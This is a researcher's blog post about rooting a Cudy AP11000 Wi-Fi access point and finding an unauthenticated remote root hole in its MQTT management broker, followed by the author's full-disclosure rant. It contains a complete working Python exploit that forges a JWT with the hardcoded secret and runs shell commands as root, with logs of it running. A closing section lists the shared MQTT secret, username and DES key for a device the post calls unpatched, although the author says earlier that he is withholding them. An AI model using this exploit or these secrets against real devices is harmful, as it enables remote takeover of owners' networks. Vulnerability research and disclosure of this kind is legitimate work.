diskiller's domain

Mosquitto Bite

2026-12-05

This started as a password reset. I have a Cudy AP11000 on the bench, a cheap tri-band WiFi 7 access point that genuinely performs well, which is the only reason I own more than one. I had rooted it a few months earlier for other reasons, set it down, got busy with the rest of my life, and came back to it in September to find I could not log into the web interface. Not the usual passwords, not the one I was sure I had set. The one thing I wanted was back into LuCI. The one thing I got was a remote root shell that anyone on the network already had.

The order of events here is important, because in hindsight this looks like a tidy escalation from "forgot password" to "critical RCE" and it absolutely was not. It was a password reset that went sideways, a self-inflicted lockout, and then a completely unrelated thing I noticed out of the corner of my eye while cleaning up the first mess. The good bugs never arrive when you are looking for them.

How I had a shell here in the first place

The "rooted it months earlier" throwaway in that first paragraph was itself a multi-day ordeal that deserves its own telling, so here is the compressed version. The board is a Qualcomm IPQ5332 running U-Boot 2016.01 with secure boot off, and it has an unpopulated four-pin UART header, which is an engraved invitation. I soldered to the pads and hung a USB-TTL adapter off them, expecting the usual five-minute serial console.

It was not five minutes. It was days, and almost all of them were spent being wrong in increasingly confident ways. The serial output was clean, but anything I typed came back garbled, dropped, or doubled. I decided the receive line was physically dead. It was not. I decided, after that, that the vendor had disabled the autoboot abort on purpose. Also wrong. The actual cause was embarrassingly analog: the SoC UART is 1.8V logic and my adapter was driving it at 3.3V, on top of a flaky dupont ground that turned every third bit into a coin flip. Solder a proper ground, get the levels right, and the console suddenly types back cleanly. Half the "firmware is blocking me" theories in my notes were a loose wire the whole time.

With serial working I still could not stop autoboot. U-Boot prints a one second window at power-on:

input <abort key> to stop autoboot in 1s

and <abort key> is not a placeholder the firmware fills in. It is the literal string it prints. The bootloader offers you a door, tells you it needs a key, and declines to say which one. Ctrl-C did nothing. Escape did nothing. Every key did nothing, which sent me back to the "it's disabled" theory for the second time. To even get enough attempts at a one second window I automated it, by driving the power through a TP-Link Kasa smart plug, which speaks an unauthenticated XOR-"encrypted" protocol over TCP 9999 that I could script. So the setup was one insecure IoT device cutting power to another so I could brute-force the boot timing of the second. I did not love what that said about my house.

The key itself I had to go get. I pulled the U-Boot image out of the firmware's FIT container with dumpimage and disassembled it. It is Thumb-2, stripped, but the autoboot routine is short. Qualcomm's keyed-autoboot reads two environment variables, bootstopkey and bootdelaykey, and compares your keystrokes against them. This device sets neither in its saved environment, which is exactly why nothing matched: there was no configured key to hit. But the disassembly showed what happens when those variables are unset, which is that the code falls back to a compiled-in default stop string and does a rolling comparison of the last few characters you type against it. That default string, sitting in the binary as four bytes, is:

63 73 70 00    ->    "csp"

The secret knock was csp. Not a chord, not a control code, just three lowercase letters, no Enter after them, because a trailing newline spoils the tail comparison. I had spent more time than I will admit typing Ctrl-C at a prompt that only ever wanted to be told csp. Flood those three bytes through the one second window and the board drops to a IPQ5332# prompt, at which point root is a one-liner, because secure boot is off and nothing checks the kernel command line:

IPQ5332# setenv bootargs 'console=ttyMSM0,115200n8 init=/bin/sh'
IPQ5332# bootipq
...
Run /bin/sh as init process
~ # id
uid=0(root) gid=0(root)

Root, non-destructive, repeatable, and entirely useless to anyone who is not physically holding the device with a soldering iron. Keep that last part in mind, because it is the whole distinction between this section and the one near the end of the post. This was me earning a shell on my own hardware the hard way. The thing I found later does not require any of it.

The backup format, while I was in there

Once I had root I did the usual post-root tourism, and the stop worth describing is the config backup. LuCI has a "backup" button that hands you an encrypted blob, and a "restore" that takes one back. The encryption is Cudy's own, a small binary called crypt, so I disassembled that too. The scheme is almost quaint. It derives an AES-128 key by running MD5 over a few board-data strings, with a different recipe per mode:

normal config backup   key = MD5( hostname + "@" + <board secret> )
diagnosis export       key = MD5( "@" + <board secret> )
generic aes/hex mode   key = MD5( <board> + "@aes#hex" )

AES-128-CBC, a zero IV reset every 1KB chunk, and a genuine bug in the vendor's handling of the final chunk: any file whose length mod 1024 lands between 1000 and 1023 decrypts with a corrupt tail. That last one matters if you ever rebuild a backup, because you have to nudge the archive size out of that range or the device chokes on its own format. I know this because I wrote a Python reimplementation of the whole thing to decrypt a backup, edit /etc/config, and re-encrypt it, and the first few rebuilds landed in the cursed size window.

The part that is funny in the way this entire vendor is funny is the <board secret>. It sounds per-device and, you know, secret. It lives in a separate board-data partition that is itself encrypted, so you feel like you are peeling an onion. You are not. That partition is protected by a single static DES key baked into the library, the same bytes on every unit the company ships (88T3j05dtFu8=, which the WR3000 writeup linked at the end also documents). The chain of secrets guarding your config backup bottoms out, two layers down, at a constant you can read out of any firmware image. Encryption all the way down, authentication nowhere.

There is a sting in the tail of this one that I only understood weeks later, during the password reset. The same crypt tool, with that same model-derived key, is what the web interface uses to store the LuCI login password, which is the first thing the next section trips over. And a restore runs as root and writes whatever files you put in the archive, so a backup you rebuild yourself is a root-persistence trick on its own, if you are already admin. I am not shipping a tool for that here, for the same embargo reasons as the main event, but the capability falls straight out of the format.

Three passwords in a trenchcoat

Cudy's firmware is OpenWrt underneath with a LuCI web interface on top, so resetting the web password should be a one-liner in /etc/config/luci. I had a root shell, so I went to look. The first surprise is that the web login password is not a password and is not in /etc/shadow. It lives in the LuCI config as a blob:

config internal 'sauth'
	option sessionpath '/tmp/luci-sessions'
	option sessiontime '3600'
	option salt     'REDACTED-per-device-32-hex'
	option defpasswd '0'
	option admin    'REDACTED-160-hex-ciphertext'

That admin value is 160 hex characters, which is 80 bytes, which is not any hash I recognised. It is not a hash at all. The client-side login script gave it away. When you log in, the browser does this:

luci_password = sha256( sha256(password + salt) + token )

So the browser sends a salted SHA-256 of your password, re-hashed with a one-time token. Standard enough. The question was what the server compares it against, and the answer was in dispatcher.lua, except dispatcher.lua on this firmware is not source. It is stripped Lua 5.1 bytecode. There is no official decompiler I trust for stripped 5.1, so I wrote a tiny disassembler that walks the bytecode and prints the constant table in execution order, which for this kind of linear glue code is enough to read the logic back out. What it does is take the stored blob, run it through the Cudy crypt helper to decrypt it, and compare:

# decrypt the stored value back to the salted hash
echo -n '<stored blob>' | crypt -da      # -> sha256(password + salt)
# then re-hash with the login token and compare to what the browser sent
echo -n '<that><token>' | sha256sum

So the web password is not hashed, it is encrypted, with a symmetric cipher, and the key is derived from the board model, not from anything per-device. Which means the LuCI password is recoverable offline from the config file for any AP11000, and a config backup contains that file. File that away; it is a smaller sibling of the theme that runs through this entire device. For the moment all I wanted was to set a new one, which is: pick a password, compute sha256(pw + salt), encrypt it with crypt -ea, drop it back into luci.sauth.admin. Easy.

How to lock yourself out of a router you have root on

It was not easy, because I also "helpfully" ran passwd admin to set the system password while I was at it, on the entirely reasonable assumption that the web admin and the system admin were the same account. They are not. And setting the system password did not fix my login, it destroyed it. The web UI dropped into a modal that asked me to create an administrator password, and every time I submitted one it just reloaded and asked again. An infinite "please secure your device" loop, which is a very funny thing for a device to do to the person holding its root shell.

The reason is buried in that bytecode I had just finished reading, and it is genuinely clever in the way that only accidental things are. The login check short-circuits:

if sys.user.getpasswd(user) then
	return true            -- a system password exists, defer to it
end
-- otherwise fall through and check luci.sauth.<user>

On a stock unit the admin account has x in its shadow field, meaning no system password, so getpasswd returns nothing and execution reaches the luci.sauth check that actually matters. The whole web auth scheme rests on that account deliberately having no Unix password. By running passwd admin I gave it one, the short-circuit started firing, the luci.sauth path stopped being consulted, and on a unit that still thinks it needs first-time setup the create-password screen could never record that it was done. I had reasoned my way into bricking the exact thing I was trying to fix. The repair was to put the x back:

sed -i 's/^admin:[^:]*:/admin:x:/' /etc/shadow

I want to be clear that I did this to myself, with root, on purpose, while trying to be helpful. The device's auth model is fragile and under-documented, but the specific way it fell over was me confidently fixing a problem I did not yet understand. Half of reverse engineering is reading the machine. The other half is noticing that you are the unpredictable component in the system.

The part I was not looking for

With the login working again I was poking around the overlay to confirm nothing else was broken, and I noticed the process list had a thing called cmagent running as root, talking to a local MQTT broker. Cudy's mesh and phone-app management runs over MQTT. I had seen it before and ignored it. This time I ran netstat and stopped:

$ netstat -ntlp | grep -E '1883|8883'
tcp  0  0 0.0.0.0:8883  0.0.0.0:*  LISTEN  mosquitto
tcp  0  0 0.0.0.0:1883  0.0.0.0:*  LISTEN  mosquitto

Port 1883 is MQTT in the clear, bound to all interfaces, not loopback. The agent that talks to it connects to 127.0.0.1, so there is no reason for the broker to be listening on 0.0.0.0 at all, and yet there it is, reachable by anything that can route to the box. The only thing standing in front of it is the broker's authentication, which is where this stops being a configuration smell and becomes a hole you can drive through.

The broker uses an auth plugin that checks a JSON Web Token. A JWT is only as good as the key that signs it, and this key is a fixed string compiled into the cmagent binary. The same bytes in every firmware image, across every version I pulled, not derived from any per-device board data. I am not going to print the key here, because at the time of writing the AP11000 is still unpatched and the key is shared across the product line, but recovering it from a public firmware image is a strings command and a moment of pattern recognition. Hold that thought too.

One message, root

Here is the part that made me put my coffee down. The cmagent command handler is a small Lua file, /usr/lib/lua/cmagent/router/command.lua, and reconstructed it is almost too plain to believe:

function service_call(id, payload)
	local req = cjson.decode(payload)
	if id ~= '000000000000' then return end
	if req.cmd then
		local p = io.popen(req.cmd)          -- runs as root
		... res.data = p:read('*all') ...
		if req.reply then return cjson.encode(res) end
	end
end

It decodes the MQTT message, and if there is a cmd field it hands it straight to io.popen, which is to say straight to a shell, running as root, with the output helpfully returned to you on a reply topic. There is exactly one input check: the device id in the topic has to equal 000000000000. That looks like a guard until you realise it is the device's own id on a standalone unit, so it is satisfied by default. It is not a lock. It is a default value cosplaying as a lock.

So the whole attack is: connect to port 1883, authenticate with a JWT you signed yourself using the firmware's shared key, and publish a small JSON blob to the command topic.

topic:   router/000000000000/000000000000/<seq>/router/command
payload: {"cmd":"id","reply":1}

I wrote a proof of concept with nothing but the Python standard library, no MQTT client, just enough of the wire protocol typed out by hand to connect, authenticate and publish. I am not shipping it here for the same reason I am not printing the key. But it works, and the most important thing about it is where I ran it from. The access point was at my house. The machine I ran the exploit from was in a different building, on a different subnet, three routed hops away. It returned:

uid=0(root) gid=0(root)
2.5.13-20260706-091052

Unauthenticated, remote, root, on the current firmware, from a machine that was never on the same network segment. No device password. No prior access. And then the detail that genuinely bothers me: I tested it again against a unit I had just factory reset, sitting on its first-boot "create an administrator password" screen, before I had given it any password at all. It returned root just the same. The cmagent daemon comes up and connects on boot regardless of whether the device has been set up. You can own one of these before its owner has finished taking it out of the box.

The disclosure, and the race I did not know I was running

I had found this once before, actually. The command handler had caught my eye back in mid-July, during the original rooting work. I found my original POC notes timestamped July 15:

cat > /tmp/cudy_mqtt_cmd_target.py <<'PY'
#!/usr/bin/env python3
import base64, hashlib, hmac, json, socket, sys, time
HOST=sys.argv[1]
TARGET_ID=sys.argv[2]
CMD=sys.argv[3]
SECRET='CLOUDmqttabc&123'
USER='admincudydevice'

def b64u(data): return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def jwt(user):
    header=b64u(b'{"typ":"JWT","alg":"HS256"}')
    payload=b64u(json.dumps({'username':user,'exp':int(time.time())+3600},separators=(',',':')).encode())
    sig=b64u(hmac.new(SECRET.encode(), f'{header}.{payload}'.encode(), hashlib.sha256).digest())
    return f'{header}.{payload}.{sig}'
def enc_str(value):
    if isinstance(value,str): value=value.encode()
    return len(value).to_bytes(2,'big')+value
def rem_len(n):
    out=b'"''"'
    while True:
        digit=n&127; n >>= 7
        if n: digit |= 128
        out += bytes([digit])
        if not n: return out
def connect_packet(client_id):
    payload=enc_str(client_id)+enc_str(USER)+enc_str(jwt(USER))
    body=enc_str('MQTT')+bytes([4,0xC2])+(30).to_bytes(2,'big')+payload
    return b'\x10'+rem_len(len(body))+body
def publish_packet(topic,payload):
    body=enc_str(topic)+payload
    return b'\x30'+rem_len(len(body))+body
seq=int(time.time()) & 0xffffffff
topic=f'router/{TARGET_ID}/000000000000/{seq}/router/command'
payload=json.dumps({'cmd':CMD},separators=(',',':')).encode()+b'\x00'
s=socket.socket(); s.settimeout(5); s.connect((HOST,1883))
s.sendall(connect_packet(f'codex{seq:x}'[:23]))
connack=s.recv(4)
if connack != b'\x20\x02\x00\x00':
    raise SystemExit(f'bad connack: {connack.hex()}')
s.sendall(publish_packet(topic,payload)); time.sleep(.2); s.close()
print(f'published {HOST} {topic}')
PY
TARGET=80afcaec3e1b
echo '-- before --'
/usr/bin/curl -sS -o /dev/null -w '%{http_code}\n' --max-time 5 http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt || true
python3 /tmp/cudy_mqtt_cmd_target.py 10.2.1.5 $TARGET 'echo PROBE_TARGET_MAC > /www/luci-static/bootstrap/css/mqtt_rce_probe.txt; id >> /www/luci-static/bootstrap/css/mqtt_rce_probe.txt; cat /etc/openwrt_release >> /www/luci-static/bootstrap/css/mqtt_rce_probe.txt'
sleep 1
echo '-- fetch --'
/usr/bin/curl -i --max-time 5 http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt | /usr/bin/sed -n '1,80p'
echo '-- cleanup --'
python3 /tmp/cudy_mqtt_cmd_target.py 10.2.1.5 $TARGET 'rm -f /www/luci-static/bootstrap/css/mqtt_rce_probe.txt /www/luci-static/bootstrap/mqtt_rce_probe.txt /www/luci-static/mqtt_rce_probe.txt /www/mqtt_rce_probe.txt'
sleep 0.5
/usr/bin/curl -sS -o /dev/null -w 'cleanup_http_status=%{http_code}\n' --max-time 5 http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt || true


published 10.2.1.5 router/80afcaec3e1b/000000000000/1783481932/router/command
-- fetch --
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.1 302 Moved Temporarily
Connection: close
Location: http://10.2.1.5/?url=http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt

-- cleanup --
published 10.2.1.5 router/80afcaec3e1b/000000000000/1783481933/router/command
cleanup_http_status=302

When I rediscovered it in September I put together a real POC and did the responsible thing properly this time. Reported it to Cudy through their security form. Filed it with CERT/CC for coordination. Wrote it up with evidence, versions, a CVSS vector, the works.

Cudy's form accepts your report, says "Success," and tells you up front it will not reply unless it needs more information. It did not need more information. CERT/CC opened a case, then closed it, because while they were triaging it I found out why it looked familiar to them. The exact same bug, the hardcoded MQTT JWT key and the io.popen command handler, had been published weeks earlier as CVE-2026-71960 and CVE-2026-71961, for the Cudy WR3000, credited to another researcher through VulnCheck, and fixed in WR3000 firmware on July 30.

So read that timeline back. I first saw the bug on July 15. The vendor shipped a fix for it, on a different model, on July 30. It went public on August 19. And I, sitting on the identical finding the entire time, rediscovered it in September. I did not get scooped because someone was faster at the research. I got scooped because I treated a critical remote root like a bookmark.

But here is the thing that turned the disappointment back into a reason to keep going. The public advisory names only the WR3000. It even says, in as many words, that sibling models should be treated as suspect until their firmware is inspected. The AP11000 is one of those siblings. Cudy had the fix in hand on July 30 and did not ship it to the AP11000, whose latest firmware is still the vulnerable 2.5.13-20260706 build. The interesting finding was never "this bug exists." It was "the vendor already fixed this bug and left an identical, still-selling product wide open." So I filed a CVE request for the AP11000 as the uncovered sibling, which is still pending as I write this.

Timeline

DateEvent
2026-07-15I notice the cmagent command handler during unrelated rooting work. Got busy with other things.
2026-07-30Cudy ships a fix for the identical bug in the WR3000 firmware.
2026-08-19CVE-2026-71960 / 71961 published for the WR3000 (VulnCheck).
2026-09-03I rediscover it, validate remote root across subnets and on a factory-fresh unit, I report to Cudy and CERT/CC (VRF#26-09-VZWCV).
2026-09-04Find the WR3000 CVEs. Realise the AP11000 is the unpatched sibling.
2026-09-10File a CVE request from mitre (CAN-2026-2037395) for the AP11000. Still no response from Cudy.
2026-10-01Still no response. From anybody.

So I started out trying to do the right thing for my first ever RCE discovery (I was really excited, okay?). I reported it privately, gave everyone time to respond, and mostly got silence. In the meantime I discovered that Cudy had already fixed the identical vulnerability in the WR3000 - while leaving the AP11000 and other products sharing the same code vulnerable. Whatever happened behind the scenes, I've done my part. Cudy knows about it, CERT/CC knows about it, and MITRE has the CVE request.

So fuck it. I'm going full disclosure so I can move on and put all this behind me.

The part where this is not really fixed

As of this writing there is no fixed AP11000 firmware. The device's own "check for updates" button cheerfully reports that 2.5.13-20260706 is the latest, which it is, and which is vulnerable. You cannot patch your way out of this yet because the patch, for this model, does not exist, even though the vendor demonstrably knows how to write it and already did for a cousin.

So the mitigations are the boring network ones, and they are the same lesson every cheap connected device eventually teaches. If you do not use the mesh or the phone app, the agent is still running and the broker is still listening, so the real fix is at the network boundary. Put the access point on a management VLAN that cannot be reached from your general or guest networks. Do not expose port 1883 or 8883 to anything you do not control, and certainly not to the internet. The broker binds 0.0.0.0, so it will answer anyone the network lets reach it; your job is to make sure the network lets almost nobody.

The actual lesson, which is not technical

The technical findings here are almost mundane once you have seen a few of these: a broker bound too wide, a shared secret baked into a binary, a command handler that trusts its own input, a web auth scheme that encrypts where it should hash. None of it is exotic. The parts worth remembering are the two human failures bracketing it. The vendor fixed a critical bug on one product and shipped the identical product next to it still broken, which is what happens when security is a per-SKU afterthought instead of a platform property. And I found a remote root in July and treated it like something to get to later, which is what happens when you forget that a finding only counts once it leaves your notes. The router and I both had the right information at the right time and both filed it under "deal with it eventually." The difference is only that my mistake cost me a CVE credit, and theirs is still live on everything they sell.

Credit and references

The underlying vulnerability class is not my discovery to claim; it was published for the WR3000 by another researcher before I got my act together. My contribution is confirming the same chain on the AP11000 and that it remained unpatched after the WR3000 fix. I reconstructed the mechanism independently from my own hardware in July, before the public advisory, which is cold comfort but true.

I went to reset a password, bricked my own login proving I did not understand the auth model, fixed it, and in the process walked into an unauthenticated remote root that the vendor had already patched somewhere else and forgotten to carry over. The best outcome available to the AP11000 right now is the same one that saved my cameras: a network that does not trust it. The device will not protect you. The VLAN will.

The Secrets

DES Key: 88T3j05dtFu8=
SECRET: CLOUDmqttabc&123
USER: admincudydevice
TOPIC: $SYS/broker/clients/connected

Source

Download cudy_cmagent_rce.py Download cudy_crypt.py github.com/mminkus/mosquitto-bite